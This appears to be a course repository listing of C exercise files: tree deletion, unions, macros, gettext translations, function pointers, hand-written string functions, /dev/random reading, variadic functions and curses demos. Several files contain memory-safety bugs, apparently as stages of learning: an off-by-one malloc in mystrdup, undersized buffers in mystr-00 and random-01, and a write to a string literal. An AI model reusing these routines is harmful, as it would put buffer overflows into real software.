p = p->left;
else
p = p->right;
return i;
}
void node_remove(node **p, int value)
{
int left_n, right_n;
node *tmp;
tmp = *p;
left_n = node_count(tmp, 0);
right_n = node_count(tmp, 1);
if (left_n > right_n) {
*p = tmp->left;
while ((*p)->right)
p = &(*p)->right;
(*p)->right = tmp->right;
} else {
if (tmp->right) {
*p = tmp->right;
while ((*p)->left)
p = &(*p)->left;
(*p)->left = tmp->left;
} else
*p = NULL;
}
free(tmp);
}
int node_delete(node **p, int value)
{
node **loc = node_search(p, value);
if (*loc) {
node_remove(loc, value);
return 1;
} else
return 0;
}
void print_tree(node *p)
{
if (p) {
print_tree(p->left);
printf("%d ", p->value);
print_tree(p->right);
}
}
int main()
{
node *p = NULL;
node_insert(&p, 5);
node_insert(&p, 3);
node_insert(&p, 2);
node_insert(&p, 4);
node_insert(&p, 1);
node_insert(&p, 8);
node_insert(&p, 6);
node_insert(&p, 7);
node_insert(&p, 9);
node_insert(&p, 10);
print_tree(p);
printf("\n");
node_delete(&p, 5);
print_tree(p);
printf("\n");
return 0;
}
tree-13.cC / 122 lines
#include <stdio.h>
#include <stdlib.h>
#define TREE_WALK(P, TMP, FIRST, SECOND) \
do { \
*P = TMP->FIRST; \
while ((*P)->SECOND) \
P = &(*P)->SECOND; \
(*P)->SECOND = TMP->SECOND; \
} while (0)
typedef struct node_s {
int value;
struct node_s *left, *right;
} node;
void *xmalloc(int size)
{
void *p;
p = malloc(size);
if (!p) {
fprintf(stderr, "Could not allocate dynamic memory\n");
exit(1);
}
return p;
}
void node_init(node **p, int value)
{
*p = xmalloc(sizeof(node));
(*p)->value = value;
(*p)->left = NULL;
(*p)->right = NULL;
}
node **node_search(node **p, int value)
{
while (*p && value != (*p)->value)
if (value < (*p)->value)
p = &(*p)->left;
else
p = &(*p)->right;
return p;
}
int node_insert(node **p, int value)
{
node **loc = node_search(p, value);
if (!*loc) {
node_init(loc, value);
return 1;
} else
return 0;
}
int node_count(node *p, int is_right)
{
int i;
for (i = 0; p; i++)
if (is_right)
p = p->left;
else
p = p->right;
return i;
}
void node_remove(node **p, int value)
{
int left_n, right_n;
node *tmp;
tmp = *p;
left_n = node_count(tmp, 0);
right_n = node_count(tmp, 1);
if (tmp->left && left_n < right_n) {
TREE_WALK(p, tmp, left, right);
} else {
if (tmp->right)
TREE_WALK(p, tmp, right, left);
else
*p = NULL;
}
free(tmp);
}
int node_delete(node **p, int value)
{
node **loc = node_search(p, value);
if (*loc) {
node_remove(loc, value);
return 1;
} else
return 0;
}
void print_tree(node *p)
{
if (p) {
print_tree(p->left);
printf("%d ", p->value);
print_tree(p->right);
}
}
int main()
{
node *p = NULL;
node_insert(&p, 5);
node_insert(&p, 3);
node_insert(&p, 2);
node_insert(&p, 4);
node_insert(&p, 1);
node_insert(&p, 8);
node_insert(&p, 6);
node_insert(&p, 7);
node_insert(&p, 9);
print_tree(p);
printf("\n");
node_delete(&p, 5);
print_tree(p);
printf("\n");
return 0;
}
tree-14.cC / 129 lines
#include <stdio.h>
#include <stdlib.h>
#define TREE_WALK(P, TMP, FIRST, SECOND) \
do { \
*P = TMP->FIRST; \
while ((*P)->SECOND) \
P = &(*P)->SECOND; \
(*P)->SECOND = TMP->SECOND; \
} while (0)
typedef struct node_s {
int value;
struct node_s *left, *right;
} node;
void *xmalloc(int size)
{
void *p;
p = malloc(size);
if (!p) {
fprintf(stderr, "Could not allocate dynamic memory\n");
exit(1);
}
return p;
}
void node_init(node **p, int value)
{
*p = xmalloc(sizeof(node));
(*p)->value = value;
(*p)->left = NULL;
(*p)->right = NULL;
}
node **node_search(node **p, int value)
{
while (*p && value != (*p)->value)
if (value < (*p)->value)
p = &(*p)->left;
else
p = &(*p)->right;
return p;
}
int node_insert(node **p, int value)
{
node **loc = node_search(p, value);
if (!*loc) {
node_init(loc, value);
return 1;
} else
return 0;
}
int node_count(node *p, int is_right)
{
int i;
if (p) {
if (is_right)
p = p->right;
else
p = p->left;
}
for (i = 0; p; i++)
if (is_right)
p = p->left;
else
p = p->right;
return i;
}
void node_remove(node **p, int value)
{
int left_n, right_n;
node *tmp;
tmp = *p;
left_n = node_count(tmp, 0);
right_n = node_count(tmp, 1);
if (tmp->left && left_n < right_n) {
TREE_WALK(p, tmp, left, right);
} else {
if (tmp->right)
TREE_WALK(p, tmp, right, left);
else
*p = NULL;
}
free(tmp);
}
int node_delete(node **p, int value)
{
node **loc = node_search(p, value);
if (*loc) {
node_remove(loc, value);
return 1;
} else
return 0;
}
void print_tree(node *p)
{
if (p) {
print_tree(p->left);
printf("%d ", p->value);
print_tree(p->right);
}
}
int main()
{
node *p = NULL;
node_insert(&p, 5);
node_insert(&p, 3);
node_insert(&p, 2);
node_insert(&p, 4);
node_insert(&p, 1);
node_insert(&p, 8);
node_insert(&p, 6);
node_insert(&p, 7);
node_insert(&p, 9);
print_tree(p);
printf("\n");
node_delete(&p, 5);
print_tree(p);
printf("\n");
return 0;
}
tree-15.cC / 136 lines
#include <stdio.h>
#include <stdlib.h>
typedef struct node_s {
int value;
struct node_s *left, *right;
} node;
void *xmalloc(int size)
{
void *p;
p = malloc(size);
if (!p) {
fprintf(stderr, "Could not allocate dynamic memory\n");
exit(1);
}
return p;
}
void node_init(node **p, int value)
{
*p = xmalloc(sizeof(node));
(*p)->value = value;
(*p)->left = NULL;
(*p)->right = NULL;
}
node **node_search(node **p, int value)
{
while (*p && value != (*p)->value)
if (value < (*p)->value)
p = &(*p)->left;
else
p = &(*p)->right;
return p;
}
int node_insert(node **p, int value)
{
node **loc = node_search(p, value);
if (!*loc) {
node_init(loc, value);
return 1;
} else
return 0;
}
int node_count(node *p, int is_right)
{
int i;
if (p) {
if (is_right)
p = p->right;
else
p = p->left;
}
for (i = 0; p; i++)
if (is_right)
p = p->left;
else
p = p->right;
return i;
}
static void delete_fix_sub_tree(node **p, node *n, int is_right)
{
if (is_right) {
*p = n->right;
while ((*p)->left)
p = &(*p)->left;
(*p)->left = n->left;
} else {
*p = n->left;
while ((*p)->right)
p = &(*p)->right;
(*p)->right = n->right;
}
}
void node_remove(node **p, int value)
{
int left_n, right_n;
node *tmp;
tmp = *p;
left_n = node_count(tmp, 0);
right_n = node_count(tmp, 1);
if (tmp->left && left_n < right_n)
delete_fix_sub_tree(p, tmp, 0);
else {
if (tmp->right)
delete_fix_sub_tree(p, tmp, 1);
else
*p = NULL;
}
free(tmp);
}
int node_delete(node **p, int value)
{
node **loc = node_search(p, value);
if (*loc) {
node_remove(loc, value);
return 1;
} else
return 0;
}
void print_tree(node *p)
{
if (p) {
print_tree(p->left);
printf("%d ", p->value);
print_tree(p->right);
}
}
int main()
{
node *p = NULL;
node_insert(&p, 5);
node_insert(&p, 3);
node_insert(&p, 2);
node_insert(&p, 4);
node_insert(&p, 1);
node_insert(&p, 8);
node_insert(&p, 6);
node_insert(&p, 7);
node_insert(&p, 9);
print_tree(p);
printf("\n");
node_delete(&p, 5);
print_tree(p);
printf("\n");
return 0;
}
05 (04-05)
union.cC / 16 lines
#include <stdio.h>
union split_int {
int integer;
unsigned char bytes[sizeof(int)];
};
int main()
{
int i;
union split_int si;
printf("Please enter an integer number: ");
scanf("%d", &si.integer);
for(i = 0; i < sizeof(int); i++)
printf("byte #%d is %02x\n", i, si.bytes[i]);
}
06 (04-05)
typedef.cC / 13 lines
#include <stdio.h>
typedef int *intptr;
int main()
{
int x = 5;
intptr p;
p = &x;
printf("%d\n", *p);
return 0;
}
02 (04-06)
04 (04-06)
macros.cC / 9 lines
#define MAX (A, B) ((A) > (B) ? (A) : (B))
int main() {
int x;
char *y;
x = 7;
y = MAX(5, x);
return 0;
}
07 (04-06)
macros.cC / 9 lines
#include <stdio.h>
#line 42 "source.txt"
int main() {
int x = 10
return 0;
}
03 (04-07)
header.cC / 8 lines
#include <stdio.h>
int mult(int x, int y);
int main() {
printf("%d\n", mult(2, 4));
return 0;
}
Book example: gettext/
gettext/de.poText / 30 lines
# German translation for the HelloBye program
# No copyright is claimed!
# Andrey V. Stolyarov, 2016.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: HelloBye 1.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-03-21 19:02+0300\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: Andrey V. Stolyarov\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=KOI8-R\n"
"Content-Transfer-Encoding: 8bit\n"
#: hellobye.c:17
#, c-format
msgid "Hello, world!\n"
msgstr "Hallo Welt!\n"
#: hellobye.c:18
#, c-format
msgid "We are speaking\n"
msgstr ""
#: hellobye.c:19
#, c-format
msgid "Good bye, world!\n"
msgstr "Auf Wiedersehen Welt!\n"
gettext/hellobye.cC / 21 lines
#include <stdio.h>
#include <locale.h>
#include <libintl.h>
#define LOCALEBASEDIR "."
#define TEXTDOMAIN "hellobye"
#define _(STR) gettext(STR)
#define N_(STR) (STR)
int main()
{
setlocale(LC_CTYPE, "");
setlocale(LC_MESSAGES, "");
bindtextdomain(TEXTDOMAIN, LOCALEBASEDIR);
textdomain(TEXTDOMAIN);
printf(_("Hello, world!\n"));
printf(_("We are speaking\n"));
printf(_("Good bye, world!\n"));
return 0;
}
gettext/ru.poText / 30 lines
# Russian translation for the HelloBye program
# No copyright is claimed!
# Andrey V. Stolyarov, 2016.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: HelloBye 1.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-03-21 19:02+0300\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: Andrey V. Stolyarov\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=KOI8-R\n"
"Content-Transfer-Encoding: 8bit\n"
#: hellobye.c:17
#, c-format
msgid "Hello, world!\n"
msgstr "����������, ���!\n"
#: hellobye.c:18
#, c-format
msgid "We are speaking\n"
msgstr ""
#: hellobye.c:19
#, c-format
msgid "Good bye, world!\n"
msgstr "�� ��������, ���!\n"
05 (04-08)
generate_translation.cC / 61 lines
#include <stdio.h>
#include <string.h>
struct { const char *s, *d; } dict[] = {
{"Hello, world!\n", "Привіт, світику!\n"},
{"We are speaking!\n", "Ми спілкуємось!\n"},
{"Good bye, world!\n", "Бувай!\n"},
{NULL, NULL}
};
const char* tr(const char *str) {
for (int i = 0; dict[i].s; i++)
if (strcmp(dict[i].s, str) == 0) return dict[i].d;
return str;
}
void dump(const char *str, int id) {
printf("const char msg_%d[] = {\n ", id);
for (int i = 0, c = 0; str[i]; i++) {
printf("0x%02x, ", (unsigned char)str[i]);
if (++c % 8 == 0) printf("\n ");
}
printf("0x00\n};\n");
}
char in[8192];
int sz;
void pass1(void) {
char buf[1024];
for (int i = 0, in_s = 0, id = 0, p = 0; i < sz; i++) {
if (in[i] == '"') {
if (in_s) { buf[p] = '\0'; dump(tr(buf), id++); in_s = 0; }
else { in_s = 1; p = 0; }
} else if (in_s) {
if (in[i] == '\\' && in[i+1] == 'n') { buf[p++] = '\n'; i++; }
else buf[p++] = in[i];
}
}
}
void pass2(void) {
for (int i = 0, in_s = 0, id = 0; i < sz; i++) {
if (in[i] == '"') {
if (in_s) { printf("msg_%d", id++); in_s = 0; }
else { in_s = 1; }
} else if (!in_s) {
putchar(in[i]);
} else if (in[i] == '\\') {
i++;
}
}
}
int main(void) {
sz = fread(in, 1, sizeof(in)-1, stdin);
in[sz] = '\0';
pass1();
pass2();
return 0;
}
hellobye-00.cC / 21 lines
#include <stdio.h>
#include <locale.h>
#include <libintl.h>
#define LOCALBASEDIR "."
#define TEXTDOMAIN "hellobye"
#define _(STR) gettext(STR)
#define N_(STR) (STR)
int main()
{
setlocale(LC_CTYPE, "");
setlocale(LC_MESSAGES, "");
bindtextdomain(TEXTDOMAIN, LOCALBASEDIR);
textdomain(TEXTDOMAIN);
printf(_("Hello, world!\n"));
printf(_("We are speaking!\n"));
printf(_("Good bye, world!\n"));
return 0;
}
hellobye-01.cC / 9 lines
#include <stdio.h>
int main()
{
printf("Hello, world!\n");
printf("We are speaking!\n");
printf("Good bye, world!\n");
return 0;
}
hellobye-de.poText / 30 lines
# German translation for the HelloBye program
# No copyright is claimed!
# Hnat Lesiv, 2026
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: HelloBye 1.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2026-05-01 09:49+0200\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: Hnat Lesiv\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: hellobye.c:17
#, c-format
msgid "Hello, world!\n"
msgstr "Hallo Welt!\n"
#: hellobye.c:18
#, c-format
msgid "We are speaking!\n"
msgstr "Wir sprechen!\n"
#: hellobye.c:19
#, c-format
msgid "Good bye, world!\n"
msgstr "Auf Wiedersehen Welt!\n"
hellobye-translate-01.cC / 25 lines
const char msg_0[] = {
0xd0, 0x9f, 0xd1, 0x80, 0xd0, 0xb8, 0xd0, 0xb2,
0xd1, 0x96, 0xd1, 0x82, 0x2c, 0x20, 0xd1, 0x81,
0xd0, 0xb2, 0xd1, 0x96, 0xd1, 0x82, 0xd0, 0xb8,
0xd0, 0xba, 0xd1, 0x83, 0x21, 0x0a, 0x00
};
const char msg_1[] = {
0xd0, 0x9c, 0xd0, 0xb8, 0x20, 0xd1, 0x81, 0xd0,
0xbf, 0xd1, 0x96, 0xd0, 0xbb, 0xd0, 0xba, 0xd1,
0x83, 0xd1, 0x94, 0xd0, 0xbc, 0xd0, 0xbe, 0xd1,
0x81, 0xd1, 0x8c, 0x21, 0x0a, 0x00
};
const char msg_2[] = {
0xd0, 0x91, 0xd1, 0x83, 0xd0, 0xb2, 0xd0, 0xb0,
0xd0, 0xb9, 0x21, 0x0a, 0x00
};
#include <stdio.h>
int main()
{
printf(msg_0);
printf(msg_1);
printf(msg_2);
return 0;
}
hellobye-ua.poText / 30 lines
# Ukrainian translation for the HelloBye program
# No copyright is claimed!
# Hnat Lesiv, 2026
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: HelloBye 1.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2026-05-01 09:49+0200\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: Hnat Lesiv\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: hellobye.c:17
#, c-format
msgid "Hello, world!\n"
msgstr "Привіт, світику!\n"
#: hellobye.c:18
#, c-format
msgid "We are speaking!\n"
msgstr "Ми балакаємо!\n"
#: hellobye.c:19
#, c-format
msgid "Good bye, world!\n"
msgstr "Прощавай, світику!\n"
01 (04-09)
complex-00.cC / 28 lines
#include <stdio.h>
int add(int x, int y) { return x + y; }
int sub(int x, int y) { return x - y; }
int mul(int x, int y) { return x * y; }
int div(int x, int y) { return x / y; }
int main()
{
int x = 1, y = 2, z;
int (*array[2][2])(int, int);
int (*(*array_pointer)[2])(int, int);
array_pointer = array;
array_pointer[0][0] = add;
array_pointer[0][1] = sub;
array_pointer[1][0] = mul;
array_pointer[1][1] = div;
for (int i = 0; i < 2; i++) {
for (int j = 0; j < 2; j++) {
z = (*array_pointer[i][j])(x, y);
printf("%d\n", z);
}
}
return 0;
}
complex-01.cC / 14 lines
#include <stdio.h>
int main()
{
/* int (*p)[4]; */
int a[] = {100, 2, 102, 5};
/* p = &a; */
for (int i = 0; i < 4; i++)
printf("%d\n", (a[i]));
/* return 0; */
}
complex-01.sAssembly / 34 lines
.file "complex3.c"
.text
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "%d\n"
.section .text.startup,"ax",@progbits
.globl main
.type main, @function
main:
pushq %rbp
movl $2147483673, %eax
leaq .LC0(%rip), %rbp
pushq %rbx
salq $2, %rax
xorl %ebx, %ebx
subq $24, %rsp
movq %rax, (%rsp)
movabsq $21474836582, %rax
movq %rax, 8(%rsp)
.L2:
movl (%rsp,%rbx,4), %esi
movq %rbp, %rdi
xorl %eax, %eax
incq %rbx
call printf@PLT
cmpq $4, %rbx
jne .L2
addq $24, %rsp
xorl %eax, %eax
popq %rbx
popq %rbp
ret
.size main, .-main
.section .note.GNU-stack,"",@progbits
02 (04-09)
complex-00.cC / 25 lines
#include <stdio.h>
void print_element(int (*a)[3], int i, int j)
{
printf("%d\n", a[i][j]);
}
void (*return_print_element())(int (*)[3], int, int)
{
return print_element;
}
int main()
{
int a[2][3] = {
{0, 1, 2},
{3, 4, 5},
};
void (*print_element_pointer)(int (*)[3], int, int);
print_element_pointer = return_print_element();
(*print_element_pointer)(a, 0, 2);
return 0;
}
funcptr.cC / 20 lines
#include <stdio.h>
int f(int x, int y) { return x + y; }
int (*funret(int x))(int, int)
{
printf("%d\n", x);
return f;
}
int main()
{
int x = 1, y = 2, z;
int (*fptr)(int, int);
fptr = funret(x);
z = (*fptr)(x, y);
printf("%d\n", z);
return 0;
}
Book example: strstr.c
strstr.cC / 57 lines
#include <stdio.h>
const char *strstr0(const char *string, const char *substr)
{
int d;
while(*string) {
for(d = 0; substr[d] && string[d] == substr[d]; d++)
{}
if(!substr[d])
return string;
string++;
}
return NULL;
}
const char *strstr1(const char *string, const char *substr)
{
int d;
for(; *string; string++) {
for(d = 0; string[d]; d++) {
if(!substr[d])
return string;
if(substr[d] != string[d])
goto next_char;
}
return substr[d] ? NULL : string;
next_char:
;
}
return NULL;
}
const char *strstr2(const char *string, const char *substr)
{
int d;
for(; *string; string++) {
for(d = 0; string[d]; d++) {
if(!substr[d])
return string;
if(substr[d] != string[d])
break;
}
if(!string[d])
return substr[d] ? NULL : string;
}
return NULL;
}
int main(int argc, char **argv)
{
printf("[%s]\n", strstr0(argv[1], argv[2]));
printf("[%s]\n", strstr1(argv[1], argv[2]));
printf("[%s]\n", strstr2(argv[1], argv[2]));
return 0;
}
02 (04-10)
mystr-00.cC / 74 lines
#include <stdio.h>
#include <stdlib.h>
int mystrlen(const char *str)
{
const char *p;
for (p = str; *p; p++)
{}
return p - str;
}
char *mystrcpy(char *dst, const char *src)
{
int i;
if (src < dst) {
int len = mystrlen(src);
dst[len] = 0;
for (i = len - 1; i >= 0; i--)
dst[i] = src[i];
} else {
for (i = 0; src[i]; i++)
dst[i] = src[i];
dst[i] = 0;
}
return dst;
}
char *mystrncpy(char *dst, const char *src, int size)
{
int i;
if (src < dst) {
int len = mystrlen(src);
if (0 == src[len])
dst[len] = 0;
for (i = len - 1; i >= 0; i--)
dst[i] = src[i];
} else {
for (i = 0 ; i < size && src[i]; i++)
dst[i] = src[i];
if (0 == src[i])
dst[i] = 0;
}
return dst;
}
char *mystrdup(const char *s)
{
int size = mystrlen(s);
char *d = malloc(size);
mystrcpy(d, s);
return d;
}
int main()
{
const char *str = "Hello, there!";
int len = mystrlen(str);
printf("Length of \"%s\" is %d\n", str, len);
char cp1[len];
mystrcpy(cp1, str);
printf("%s\n", cp1);
char *cp2 = (cp1 + 3);
mystrncpy(cp2, cp1, 10);
if (cp2[10-1])
cp2[10-1] = 0;
printf("%s\n", cp2);
char* cp3;
cp3 = mystrdup(str);
printf("%s\n", cp3);
free(cp3);
}
mystr-01.cC / 197 lines
#include <stdio.h>
#include <stdlib.h>
int mystrlen(const char *str)
{
const char *p;
for (p = str ; *p; p++)
{}
return p - str;
}
char *mystrcpy(char *dst, const char *src)
{
for ( ; *src; src++, dst++)
*dst = *src;
*dst = 0;
return dst;
}
char *mystrncpy(char *dst, const char *src, int size)
{
int i;
for (i = 0 ; i < size && src[i]; i++)
dst[i] = src[i];
if (0 == src[i])
dst[i] = 0;
return dst;
}
char *mystrdup(const char *s)
{
int size = mystrlen(s);
char *d = malloc(size);
mystrcpy(d, s);
return d;
}
int mystrcmp(const char *s1, const char *s2)
{
int diff;
for ( ; *s1 && *s2; s1++, s2++) {
diff = *s1 - *s2;
if (diff != 0)
return diff;
}
if (*s1 == 0 && *s2 == 0)
return diff;
else if (*s1 == 0)
return -1;
else
return 1;
}
int mystrncmp(const char *s1, const char *s2, int n)
{
int i, diff;
for (i = 0; i < n && s1[i] && s2[i]; i++) {
diff = s1[i] - s2[i];
if (diff != 0)
return diff;
}
if (i == n || (s1[i] == 0 && s2[i] == 0))
return diff;
else if (s1[i] == 0)
return -1;
else
return 1;
}
char *mystrchr(const char *s, int c) {
for ( ; *s; s++)
if (*s == c)
return (char *) s;
return NULL;
}
char *mystrrchr(const char *s, int c) {
char *res = NULL;
for ( ; *s; s++)
if (*s == c)
res = (char *) s;
return res;
}
char *mystrstr(const char *s, const char *sub) {
int checking = 0;
int i = mystrlen(s) - 1;
int j = mystrlen(sub) - 1;
for ( ; i >= 0; i--) {
if (j < 0)
return (char *) (s + i + 1);
else if (s[i] == sub[j]) {
checking = 1;
j--;
} else if (checking)
return NULL;
}
return NULL;
}
void *mymemset(void *memory, int value, int size)
{
char *m = memory;
for (int i = 0; i < size; i++)
m[i] = value;
memory = m;
return memory;
}
char *mymemcpy(void *dst, const void *src, int size)
{
char *d = dst;
const char *s = src;
for (int i = 0 ; i < size && s[i]; i++)
d[i] = s[i];
dst = d;
return dst;
}
char *mymemmove(char *dst, const char *src, int size)
{
int i;
char *d = dst;
const char *s = src;
if (s < d)
for (i = size - 1; i >= 0; i--)
d[i] = s[i];
else
for (i = 0 ; i < size; i++)
d[i] = s[i];
dst = d;
return dst;
}
int main()
{
const char *str = "Hello, there!";
int len = mystrlen(str);
printf("Length of \"%s\" is %d\n", str, len);
char cp1[20];
mystrcpy(cp1, str);
printf("%s\n", cp1);
int n = 10;
char cp2[n];
mystrncpy(cp2, str, n);
if (cp2[n-1])
cp2[n-1] = 0;
printf("%s\n", cp2);
char* cp3;
cp3 = mystrdup(str);
printf("%s\n", cp1);
cp2[mystrlen(cp2)-1] = 'j';
printf("%s\n", cp2);
int diff = mystrcmp(cp2, cp3);
printf("%d\n", diff);
diff = mystrncmp(cp2, cp3, 5);
printf("%d\n", diff);
char *cp3comma = mystrchr(cp3, ',');
printf("%s\n", cp3comma);
char *cp3l = mystrrchr(cp3, 'l');
if (cp3l)
printf("%s\n", cp3l);
char *cp3llo = mystrstr(cp3, "lro");
if (cp3llo)
printf("%s\n", cp3llo);
char mem[10];
mymemset(mem, 'l', 10);
mem[9] = 0;
printf("%s\n", mem);
char cp4[20];
len = mystrlen(cp3);
mymemcpy(cp4, cp3, len);
cp4[len] = 0;
printf("%s\n", cp4);
char *cp5 = (cp4 + 1);
len = mystrlen(cp4);
mymemmove(cp5, cp4, len);
cp5[len] = 0;
mymemmove(cp4, cp5, len);
cp4[len] = 0;
printf("%s\n", cp5);
free(cp3);
}
mystr-02.cC / 199 lines
#include <stdio.h>
#include <stdlib.h>
int mystrlen(const char *s)
{
int i;
for (i = 0; s[i]; i++)
{}
return i;
}
char *mystrcpy(char *dst, const char *src)
{
int i;
for (i = 0; src[i]; i++)
dst[i] = src[i];
dst[i] = 0;
return dst;
}
char *mystrncpy(char *dst, const char *src, int size)
{
int i;
for (i = 0 ; i < size && src[i]; i++)
dst[i] = src[i];
for (; i < size; i++)
dst[i] = 0;
return dst;
}
char *mystrdup(const char *s)
{
int size = mystrlen(s) + 1;
char *d = malloc(size);
mystrcpy(d, s);
return d;
}
int mystrcmp(const char *s1, const char *s2)
{
int i, diff;
for (i = 0; s1[i] && s2[i]; i++) {
diff = s1[i] - s2[i];
if (diff != 0)
return diff;
}
return s1[i] - s2[i];
}
int mystrncmp(const char *s1, const char *s2, int n)
{
int i, diff;
for (i = 0; i < n && s1[i] && s2[i]; i++) {
diff = s1[i] - s2[i];
if (diff != 0)
return diff;
}
if (i < n)
diff = s1[i] - s2[i];
return diff;
}
char *mystrchr(const char *s, int c) {
int i;
for (i = 0; s[i]; i++)
if (s[i] == c)
return (char *) s + i;
return NULL;
}
char *mystrrchr(const char *s, int c) {
int i;
char *res;
res = NULL;
for (i = 0; s[i]; i++)
if (s[i] == c)
res = (char *) s + i;
return res;
}
char *mystrstr(const char *s, const char *sub) {
int i, j, checking;
checking = 0;
i = mystrlen(s) - 1;
j = mystrlen(sub) - 1;
for (; i >= 0; i--) {
if (j < 0)
return (char *) (s + i + 1);
else if (s[i] == sub[j]) {
checking = 1;
j--;
} else if (checking)
return NULL;
}
return NULL;
}
void *mymemset(void *memory, int value, int size)
{
int i;
char *m;
m = memory;
for (i = 0; i < size; i++)
m[i] = (char) value;
memory = m;
return memory;
}
char *mymemcpy(void *dst, const void *src, int size)
{
int i;
char *d = dst;
const char *s = src;
for (i = 0 ; i < size && s[i]; i++)
d[i] = s[i];
dst = d;
return dst;
}
char *mymemmove(char *dst, const char *src, int size)
{
int i;
char *d = dst;
const char *s = src;
if (s < d)
for (i = size - 1; i >= 0; i--)
d[i] = s[i];
else
for (i = 0 ; i < size; i++)
d[i] = s[i];
dst = d;
return dst;
}
int main()
{
int n;
char cp1[20], cp2[10], cp4[20], mem[10];
char *cp3, *cp3comma, *cp3l, *cp3llo, *cp5;
int diff;
const char *str = "Hello, there!";
int len = mystrlen(str);
printf("Length of \"%s\" is %d\n", str, len);
mystrcpy(cp1, str);
printf("%s\n", cp1);
n = 10;
mystrncpy(cp2, str, n);
if (cp2[n-1])
cp2[n-1] = 0;
printf("%s\n", cp2);
cp3 = mystrdup(str);
printf("%s\n", cp1);
cp2[mystrlen(cp2)-1] = 'j';
printf("%s\n", cp2);
diff = mystrcmp(cp2, cp3);
printf("%d\n", diff);
diff = mystrncmp(cp2, cp3, 5);
printf("%d\n", diff);
cp3comma = mystrchr(cp3, ',');
printf("%s\n", cp3comma);
cp3l = mystrrchr(cp3, 'l');
if (cp3l)
printf("%s\n", cp3l);
cp3llo = mystrstr(cp3, "lro");
if (cp3llo)
printf("%s\n", cp3llo);
mymemset(mem, 'l', 10);
mem[9] = 0;
printf("%s\n", mem);
len = mystrlen(cp3);
mymemcpy(cp4, cp3, len);
cp4[len] = 0;
printf("%s\n", cp4);
cp5 = (cp4 + 1);
len = mystrlen(cp4);
mymemmove(cp5, cp4, len);
cp5[len] = 0;
mymemmove(cp4, cp5, len);
cp4[len] = 0;
printf("%s\n", cp5);
free(cp3);
return 0;
}
03 (04-10)
random-00.cC / 17 lines
#include <stdio.h>
int main()
{
FILE *f;
int random;
f = fopen("/dev/random", "r");
if (!f) {
perror("/dev/random");
return 1;
}
random = fgetc(f);
printf("%d\n", random);
fclose(f);
return 0;
}
random-01.cC / 48 lines
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
const char file_name[] = "/dev/random";
enum { num_chars = 9 };
long str2long(const char *str)
{
int n;
char *endptr;
n = strtol(str, &endptr, 10);
if (errno == ERANGE)
n = -1;
if (!*str || *endptr)
n = -1;
return n;
}
int main()
{
int fd, random, rc;
char buf[num_chars];
fd = open(file_name, O_RDONLY);
if (fd == -1) {
perror(file_name);
return 1;
}
rc = read(fd, buf, num_chars);
if (rc <= 0) {
perror(file_name);
return 1;
}
buf[rc] = 0;
printf("%s\n", buf);
random = str2long(buf);
printf("%d\n", random);
close(fd);
return 0;
}
string.cC / 12 lines
#include <stdio.h>
#include <string.h>
int main(void) {
char *s1 = "hello";
char *s2 = strdup(s1);
s1[0] = 'H';
printf("%s\n", s2);
return 0;
}
Book example: variadic.c
variadic.cC / 40 lines
#include <stdio.h>
#include <stdarg.h>
static int sum(int c, ...)
{
va_list vl;
int s = c;
int k;
va_start(vl, c);
while((k = va_arg(vl, int)) != 0)
s += k;
va_end(vl);
return s;
}
static void print_times(const char *str, ...)
{
va_list vl;
const char *p;
va_start(vl, str);
for(p = str; p; p = va_arg(vl, const char *)) {
int n, i;
n = va_arg(vl, int);
for(i = 0; i < n; i++)
printf("%s ", p);
printf("\n");
}
va_end(vl);
}
int main()
{
printf("%d\n", sum(5, 40, 300, 2000, 10000, 0));
print_times("first", 1, "second", 2, "third", 3, "seven", 7, NULL);
return 0;
}
04 (04-10)
variadic.cC / 24 lines
#include <stdio.h>
#include <stdarg.h>
void print_times(const char *str, ...)
{
va_list vl;
const char *p;
va_start(vl, str); /* macros that initializes vl */
for (p = str; p; p = va_arg(vl, const char *)) {
int n, i;
n = va_arg(vl, int); /* get the next argument from stack */
for (i = 0; i < n; i++)
printf("%s ", p);
printf("\n");
}
va_end(vl); /* clean up */
}
int main()
{
print_times("once", 1, "twice", 2, "seven times", 7, NULL);
return 0;
}
Book example: curses_hello.c
curses_hello.cC / 20 lines
#include <curses.h>
#include <unistd.h>
const char message[] = "Hello, world!";
enum { delay_duration = 5 };
int main()
{
int row, col;
initscr();
start_color();
getmaxyx(stdscr, row, col);
move(row/2, (col-(sizeof(message)-1))/2);
addstr(message);
curs_set(0);
refresh();
sleep(delay_duration);
endwin();
return 0;
}
Book example: curses_hello2.c
curses_hello2.cC / 33 lines
#include <curses.h>
#include <unistd.h>
const char message[] = "Hello, world!";
enum { delay_duration = 5 };
void say_hello()
{
int row, col;
getmaxyx(stdscr, row, col);
move(row/2, (col-(sizeof(message)-1))/2);
addstr(message);
move(0, 0);
refresh();
}
int main()
{
int key;
initscr();
raw();
noecho();
say_hello();
while((key = getch()) != 27) {
if(key == KEY_RESIZE) {
clear();
say_hello();
}
}
endwin();
return 0;
}
Book example: movehello.c
movehello.cC / 90 lines
#include <curses.h>
static const char message[] = "Hello, world!";
enum { key_escape = 27 };
static void show_message(int x, int y)
{
move(y, x);
addstr(message);
move(0, 0);
printw("(%d,%d) ", x, y);
refresh();
}
static void hide_message(int x, int y)
{
int i;
move(y, x);
